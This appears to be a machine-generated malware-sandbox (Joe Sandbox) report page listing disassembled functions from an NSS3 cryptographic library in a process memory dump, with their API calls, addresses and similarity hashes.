Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: CopyErrorItem_L_strncasecmpUtilmemcpystrlen
String ID: OID.
API String ID: 4247295491-3585844982
Opcode ID: 66307d77795aa6e86320a9153ba0f2965ffa03419e0a79493caff030a13a17ef
Instruction ID: 29e384811cf7b13cf39ff1dcebf7e97eea33db40b98f9c3d664dc68685ad428d
Opcode Fuzzy Hash: 66307d77795aa6e86320a9153ba0f2965ffa03419e0a79493caff030a13a17ef
Instruction Fuzzy Hash: 09513BB1F012A54BCB20CA18CC8079AB3A5EB5534CF1445FBE919DB751D3309D85CF8A

Function 6C548620 Relevance: 10.6, APIs: 7, Instructions: 135memoryCOMMON

Download Yara Rule

APIs

SECITEM_CopyItem_Util.NSS3(00000000,00000000,6C547310,00000000,6C547310,?,?,00000004,?), ref: 6C548684

Part of subcall function 6C59FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C598D2D,?,00000000,?), ref: 6C59FB85
Part of subcall function 6C59FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C59FBB1

SECITEM_CopyItem_Util.NSS3(00000000,-0000000C,6C547304,?,?,?,00000000,6C547310,?,?,00000004,?), ref: 6C54869F
PORT_ArenaAlloc_Util.NSS3(00000000,00000008,?,?,?,?,?,?,00000000,6C547310,?,?,00000004,?), ref: 6C5486D7
PORT_ArenaGrow_Util.NSS3(00000000,?,?,?,?,?,?,?,?,?,00000000,6C547310,?,?,00000004,?), ref: 6C548706
PORT_ArenaAlloc_Util.NSS3(00000000,00000018,00000000,6C547310,00000004,00000000,?,6C548A20,00000004,00000000,6C547310,?,?,00000004,?), ref: 6C548656

Part of subcall function 6C5A10C0: TlsGetValue.KERNEL32(?,6C548802,00000000,00000008,?,6C53EF74,00000000), ref: 6C5A10F3
Part of subcall function 6C5A10C0: EnterCriticalSection.KERNEL32(?,?,6C548802,00000000,00000008,?,6C53EF74,00000000), ref: 6C5A110C
Part of subcall function 6C5A10C0: PL_ArenaAllocate.NSS3(?,?,?,6C548802,00000000,00000008,?,6C53EF74,00000000), ref: 6C5A1141
Part of subcall function 6C5A10C0: PR_Unlock.NSS3(?,?,?,6C548802,00000000,00000008,?,6C53EF74,00000000), ref: 6C5A1182
Part of subcall function 6C5A10C0: TlsGetValue.KERNEL32(?,6C548802,00000000,00000008,?,6C53EF74,00000000), ref: 6C5A119C

PORT_ArenaAlloc_Util.NSS3(00000000,00000008,00000000,6C547310,00000004,00000000,?,6C548A20,00000004,00000000,6C547310,?,?,00000004,?), ref: 6C548763
PORT_ArenaGrow_Util.NSS3(00000000,6C548A20,?,?,00000000,6C547310,00000004,00000000,?,6C548A20,00000004,00000000,6C547310,?,?,00000004), ref: 6C548795

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Util$Arena$Alloc_$CopyGrow_Item_Value$AllocateCriticalEnterSectionUnlockmemcpy
String ID:
API String ID: 1239214001-0
Opcode ID: edab0757da17ce9ed80277259f892125aa72fc68a5204f4ba0abaa766cbc824c
Instruction ID: b344d94895c425387b03e70197c4241cc6fdd044fef1284d452ed2ead29c0d15
Opcode Fuzzy Hash: edab0757da17ce9ed80277259f892125aa72fc68a5204f4ba0abaa766cbc824c
Instruction Fuzzy Hash: 7141C075900210EFE7408F25DC10B6B37A9EF91398F15865AEC15CB751E772E905CBE2

Function 6C556980 Relevance: 10.6, APIs: 7, Instructions: 126COMMON

Download Yara Rule

APIs

Part of subcall function 6C555DB0: NSS_GetAlgorithmPolicy.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C555DEC
Part of subcall function 6C555DB0: PR_SetError.NSS3(FFFFE0B5,00000000,?,?,?,?,?,?,?,?), ref: 6C555E0F

SECITEM_DupItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5569BA

Part of subcall function 6C59FD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6C549003,?), ref: 6C59FD91
Part of subcall function 6C59FD80: PORT_Alloc_Util.NSS3(A4686C5A,?), ref: 6C59FDA2
Part of subcall function 6C59FD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686C5A,?,?), ref: 6C59FDC4

VFY_EndWithSignature.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6C556A59
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C556AB7
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C556ACA
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C556AE0
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C556AE9

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Util$Alloc_Item_free$AlgorithmDestroyErrorPolicyPublicSignatureWithZfreememcpy
String ID:
API String ID: 2730469119-0
Opcode ID: de2121e2384c3821137e9de931841cd7e76fe938fc57e195afc3039f2b611bb7
Instruction ID: 52e64a60c90d23b10cc813bbacecc449fe35171a4a026e08f7fe139291b94d33
Opcode Fuzzy Hash: de2121e2384c3821137e9de931841cd7e76fe938fc57e195afc3039f2b611bb7
Instruction Fuzzy Hash: D641BDB6A407409BEB10DF65EC45B9B77E9FF84314F588429E85AC7340EF31E92187A1

Function 6C58AC10 Relevance: 10.6, APIs: 7, Instructions: 121memoryCOMMON

Download Yara Rule

APIs

PK11_CreateContextBySymKey.NSS3(00000133,00000105,00000000,?,?,6C58AB3E,?,?,?), ref: 6C58AC35

Part of subcall function 6C56CEC0: PK11_FreeSymKey.NSS3(00000000), ref: 6C56CF16

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6C58AB3E,?,?,?), ref: 6C58AC55

Part of subcall function 6C5A10C0: TlsGetValue.KERNEL32(?,6C548802,00000000,00000008,?,6C53EF74,00000000), ref: 6C5A10F3
Part of subcall function 6C5A10C0: EnterCriticalSection.KERNEL32(?,?,6C548802,00000000,00000008,?,6C53EF74,00000000), ref: 6C5A110C
Part of subcall function 6C5A10C0: PL_ArenaAllocate.NSS3(?,?,?,6C548802,00000000,00000008,?,6C53EF74,00000000), ref: 6C5A1141
Part of subcall function 6C5A10C0: PR_Unlock.NSS3(?,?,?,6C548802,00000000,00000008,?,6C53EF74,00000000), ref: 6C5A1182
Part of subcall function 6C5A10C0: TlsGetValue.KERNEL32(?,6C548802,00000000,00000008,?,6C53EF74,00000000), ref: 6C5A119C

PK11_CipherOp.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6C58AB3E,?,?), ref: 6C58AC70

Part of subcall function 6C56E300: TlsGetValue.KERNEL32 ref: 6C56E33C
Part of subcall function 6C56E300: EnterCriticalSection.KERNEL32(?), ref: 6C56E350
Part of subcall function 6C56E300: PR_Unlock.NSS3(?), ref: 6C56E5BC
Part of subcall function 6C56E300: PK11_GenerateRandom.NSS3(00000000,00000008), ref: 6C56E5CA
Part of subcall function 6C56E300: TlsGetValue.KERNEL32 ref: 6C56E5F2
Part of subcall function 6C56E300: EnterCriticalSection.KERNEL32(?), ref: 6C56E606
Part of subcall function 6C56E300: PORT_Alloc_Util.NSS3(?), ref: 6C56E613

PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6C58AC92
PK11_DestroyContext.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6C58AB3E), ref: 6C58ACD7
PORT_Alloc_Util.NSS3(?), ref: 6C58AD10
memcpy.VCRUNTIME140(00000000,?,FF850674), ref: 6C58AD2B

Part of subcall function 6C56F360: TlsGetValue.KERNEL32(00000000,?,6C58A904,?), ref: 6C56F38B
Part of subcall function 6C56F360: EnterCriticalSection.KERNEL32(?,?,?,6C58A904,?), ref: 6C56F3A0
Part of subcall function 6C56F360: PR_Unlock.NSS3(?,?,?,?,6C58A904,?), ref: 6C56F3D3

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: K11_$Value$CriticalEnterSection$Alloc_UnlockUtil$ArenaContext$AllocateBlockCipherCreateDestroyFreeGenerateRandomSizememcpy
String ID:
API String ID: 2926855110-0
Opcode ID: 7e7b0928f46b139c63c502dc02d4de4d4b757ed150e71ccf0bc8f429cf716091
Instruction ID: 324efc3efeeb9f2a7165b6035e598c92bb59784278cd0f66c569291a5818de44
Opcode Fuzzy Hash: 7e7b0928f46b139c63c502dc02d4de4d4b757ed150e71ccf0bc8f429cf716091
Instruction Fuzzy Hash: D13127B1E016159FEB00CF69CC419BF77B6AFD4328B188128E8159BB80EB31EC1587A1

Function 6C542920 Relevance: 10.6, APIs: 7, Instructions: 121timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C54294E

Part of subcall function 6C5A1820: DER_GeneralizedTimeToTime_Util.NSS3(?,?,?,6C541D97,?,?), ref: 6C5A1836

DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C54296A
DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C542991

Part of subcall function 6C5A1820: PR_SetError.NSS3(FFFFE005,00000000,?,6C541D97,?,?), ref: 6C5A184D

DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C5429AF
PR_Now.NSS3 ref: 6C542A29
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C542A50
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C542A79

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: TimeUtil$Choice_Decode$Error$GeneralizedTime_
String ID:
API String ID: 2509447271-0
Opcode ID: 906dcd28652697458be8e31a343ebf2fba3c2fa1db37662d447a9d3b68a5fbc5
Instruction ID: a6af7c6960c687a6a77e89f100b01d692952c1637b53814cf28a258c116027e1
Opcode Fuzzy Hash: 906dcd28652697458be8e31a343ebf2fba3c2fa1db37662d447a9d3b68a5fbc5
Instruction Fuzzy Hash: EA415E71A093619BC714CE2ACC40A5FB7E5ABD8758F158A2DEC98D3740E730E9498A92

Function 6C568C70 Relevance: 10.6, APIs: 7, Instructions: 110stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6C568C7C

Part of subcall function 6C609DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C650A27), ref: 6C609DC6
Part of subcall function 6C609DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C650A27), ref: 6C609DD1
Part of subcall function 6C609DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C609DED

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C568CB0
TlsGetValue.KERNEL32 ref: 6C568CD1
EnterCriticalSection.KERNEL32(?), ref: 6C568CE5
PR_Unlock.NSS3(?), ref: 6C568D2E
PR_SetError.NSS3(FFFFE00F,00000000), ref: 6C568D62
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C568D93

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Time$ErrorSystem$CriticalEnterFileSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strlen
String ID:
API String ID: 3131193014-0
Opcode ID: 74a058b9acf2f096f38d3931a61aeb3a7693292bf3128eb8ca3f4a0b4b491725
Instruction ID: a652882a5eb9a374870b00e29f3a469ce7842a34f60d484be802bdd54c2868bc
Opcode Fuzzy Hash: 74a058b9acf2f096f38d3931a61aeb3a7693292bf3128eb8ca3f4a0b4b491725
Instruction Fuzzy Hash: 6F314871E00601AFEB009F6ADC447AA77B0BF56318F140136EA1A67FA0D770B924C7D2

Function 6C588500 Relevance: 10.6, APIs: 7, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6C5895DC,00000000,00000000,00000000,?,6C5895DC,00000000,00000000,?,6C567F4A,00000000,?,00000000,00000000), ref: 6C588517

Part of subcall function 6C59BE30: SECOID_FindOID_Util.NSS3(6C55311B,00000000,?,6C55311B,?), ref: 6C59BE44

PORT_NewArena_Util.NSS3(00000800,00000000,00000000,?,6C567F4A,00000000,?,00000000,00000000), ref: 6C588585
PORT_ArenaAlloc_Util.NSS3(00000000,00000034,?,00000000,00000000,?,6C567F4A,00000000,?,00000000,00000000), ref: 6C58859A
SEC_ASN1DecodeItem_Util.NSS3(00000000,00000000,6C66D8C4,6C5895D0,?,?,?,00000000,00000000,?,6C567F4A,00000000,?,00000000,00000000), ref: 6C5885CC
SECOID_GetAlgorithmTag_Util.NSS3(-0000001C,?,?,?,?,?,?,?,00000000,00000000,?,6C567F4A,00000000,?,00000000,00000000), ref: 6C5885E1
PORT_FreeArena_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,00000000,00000000,?,6C567F4A,00000000,?), ref: 6C5885F4

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Util$AlgorithmArena_Tag_$Alloc_ArenaDecodeFindFreeItem_
String ID:
API String ID: 738345241-0
Opcode ID: 8b6cbaf1cd2357fe6f400525096fedea9d67bca8db23b9ed51890505d6882201
Instruction ID: d610935a0a8e2c5bfce5c32ad4d66b6094a6e46a3e27a4b432b2ed1778598510
Opcode Fuzzy Hash: 8b6cbaf1cd2357fe6f400525096fedea9d67bca8db23b9ed51890505d6882201
Instruction Fuzzy Hash: E23135B2D0326097F710852B8C80BAA3218EB71398F150A63E805D7EC6FB10DD4587A7

Function 6C554590 Relevance: 10.6, APIs: 7, Instructions: 100memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C5545B5

Part of subcall function 6C5A0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C5487ED,00000800,6C53EF74,00000000), ref: 6C5A1000
Part of subcall function 6C5A0FF0: PR_NewLock.NSS3(?,00000800,6C53EF74,00000000), ref: 6C5A1016
Part of subcall function 6C5A0FF0: PL_InitArenaPool.NSS3(00000000,security,6C5487ED,00000008,?,00000800,6C53EF74,00000000), ref: 6C5A102B

PORT_ArenaAlloc_Util.NSS3(00000000,000000AC), ref: 6C5545C9

Part of subcall function 6C5A10C0: TlsGetValue.KERNEL32(?,6C548802,00000000,00000008,?,6C53EF74,00000000), ref: 6C5A10F3
Part of subcall function 6C5A10C0: EnterCriticalSection.KERNEL32(?,?,6C548802,00000000,00000008,?,6C53EF74,00000000), ref: 6C5A110C
Part of subcall function 6C5A10C0: PL_ArenaAllocate.NSS3(?,?,?,6C548802,00000000,00000008,?,6C53EF74,00000000), ref: 6C5A1141
Part of subcall function 6C5A10C0: PR_Unlock.NSS3(?,?,?,6C548802,00000000,00000008,?,6C53EF74,00000000), ref: 6C5A1182
Part of subcall function 6C5A10C0: TlsGetValue.KERNEL32(?,6C548802,00000000,00000008,?,6C53EF74,00000000), ref: 6C5A119C

memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C5545E6
SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C5545F8

Part of subcall function 6C59FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C598D2D,?,00000000,?), ref: 6C59FB85
Part of subcall function 6C59FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C59FBB1

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C554647
SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C66A0F4,?), ref: 6C55468C
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C5546A1

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_Item_Value$AllocateCopyCriticalDecodeEnterErrorFreeInitLockPoolQuickSectionUnlockcallocmemcpymemset
String ID:
API String ID: 1594507116-0
Opcode ID: 6ed383a9522c9eacbe1f62eea4f3ca632b6f7cf0e41dddbeff9bc70012dd69db
Instruction ID: 72b474843ffc809d2b507d2d1398dda2ef43008d991936a0f7348136e09c8247
Opcode Fuzzy Hash: 6ed383a9522c9eacbe1f62eea4f3ca632b6f7cf0e41dddbeff9bc70012dd69db
Instruction Fuzzy Hash: 3331E8B1A003149BFF109E55DC51BAB36A8EB46358F504039ED05EFBC5E775C82887A6

Function 6C562E40 Relevance: 10.6, APIs: 7, Instructions: 92COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000038,?,6C55E728,?,00000038,?,?,00000000), ref: 6C562E52
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C562E66
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C562E7B
EnterCriticalSection.KERNEL32(00000000), ref: 6C562E8F
PL_HashTableLookup.NSS3(?,?), ref: 6C562E9E
PR_Unlock.NSS3(?), ref: 6C562EAB
PR_Unlock.NSS3(?), ref: 6C562F0D

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$HashLookupTable
String ID:
API String ID: 3106257965-0
Opcode ID: 04c7a210133060dea69ce9bcc05002ecabf9766993ccc39a3bb45f1d50392e78
Instruction ID: a0126e31f2be3292c708aaeb3eac333c380fbc6eefb5c5142d4dead81eab2425
Opcode Fuzzy Hash: 04c7a210133060dea69ce9bcc05002ecabf9766993ccc39a3bb45f1d50392e78
Instruction Fuzzy Hash: C331E476A00105EBEB009F2ADC8587AB775EF85258B448575EC08C7B21EB31EC64C7D1

Function 6C594470 Relevance: 10.6, APIs: 7, Instructions: 82COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,6C557296,00000000), ref: 6C594487
EnterCriticalSection.KERNEL32(?,?,?,6C557296,00000000), ref: 6C5944A0
PR_Unlock.NSS3(?,?,?,?,6C557296,00000000), ref: 6C5944BB
SECMOD_DestroyModule.NSS3(?,?,?,?,6C557296,00000000), ref: 6C5944DA
DeleteCriticalSection.KERNEL32(?,?,?,?,6C557296,00000000), ref: 6C594530
free.MOZGLUE(?,?,?,?,?,6C557296,00000000), ref: 6C59453C
PORT_FreeArena_Util.NSS3 ref: 6C59454F

Part of subcall function 6C57CAA0: PR_GetEnvSecure.NSS3(NSS_DISABLE_UNLOAD,6C55B1EE,D958E836,?,6C5951C5), ref: 6C57CAFA
Part of subcall function 6C57CAA0: PR_UnloadLibrary.NSS3(?,6C5951C5), ref: 6C57CB09

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: CriticalSection$Arena_DeleteDestroyEnterFreeLibraryModuleSecureUnloadUnlockUtilValuefree
String ID:
API String ID: 3590924995-0
Opcode ID: 7b6e7b2f6cff59bcb43497b3bc82ced59e096f5595fa21bbed1ca66ff1cfa5bc
Instruction ID: 38ffe07a3c5e482d09301b3e21cea3507b7b4c0cc3dc37254ed2e0276259393b
Opcode Fuzzy Hash: 7b6e7b2f6cff59bcb43497b3bc82ced59e096f5595fa21bbed1ca66ff1cfa5bc
Instruction Fuzzy Hash: 79314C74A04651DFDB10AF79C484569B7F0FF49318F014AA9D8A997B01E730EC94CBC1

Function 6C5ACEE0 Relevance: 10.6, APIs: 7, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6C5ACD93,?), ref: 6C5ACEEE

Part of subcall function 6C5A14C0: TlsGetValue.KERNEL32 ref: 6C5A14E0
Part of subcall function 6C5A14C0: EnterCriticalSection.KERNEL32 ref: 6C5A14F5
Part of subcall function 6C5A14C0: PR_Unlock.NSS3 ref: 6C5A150D

PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6C5ACD93,?), ref: 6C5ACEFC

Part of subcall function 6C5A10C0: TlsGetValue.KERNEL32(?,6C548802,00000000,00000008,?,6C53EF74,00000000), ref: 6C5A10F3
Part of subcall function 6C5A10C0: EnterCriticalSection.KERNEL32(?,?,6C548802,00000000,00000008,?,6C53EF74,00000000), ref: 6C5A110C
Part of subcall function 6C5A10C0: PL_ArenaAllocate.NSS3(?,?,?,6C548802,00000000,00000008,?,6C53EF74,00000000), ref: 6C5A1141
Part of subcall function 6C5A10C0: PR_Unlock.NSS3(?,?,?,6C548802,00000000,00000008,?,6C53EF74,00000000), ref: 6C5A1182
Part of subcall function 6C5A10C0: TlsGetValue.KERNEL32(?,6C548802,00000000,00000008,?,6C53EF74,00000000), ref: 6C5A119C

SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6C5ACD93,?), ref: 6C5ACF0B

Part of subcall function 6C5A0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C5A08B4

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6C5ACD93,?), ref: 6C5ACF1D

Part of subcall function 6C59FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C598D2D,?,00000000,?), ref: 6C59FB85
Part of subcall function 6C59FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C59FBB1

PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6C5ACD93,?), ref: 6C5ACF47
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6C5ACD93,?), ref: 6C5ACF67
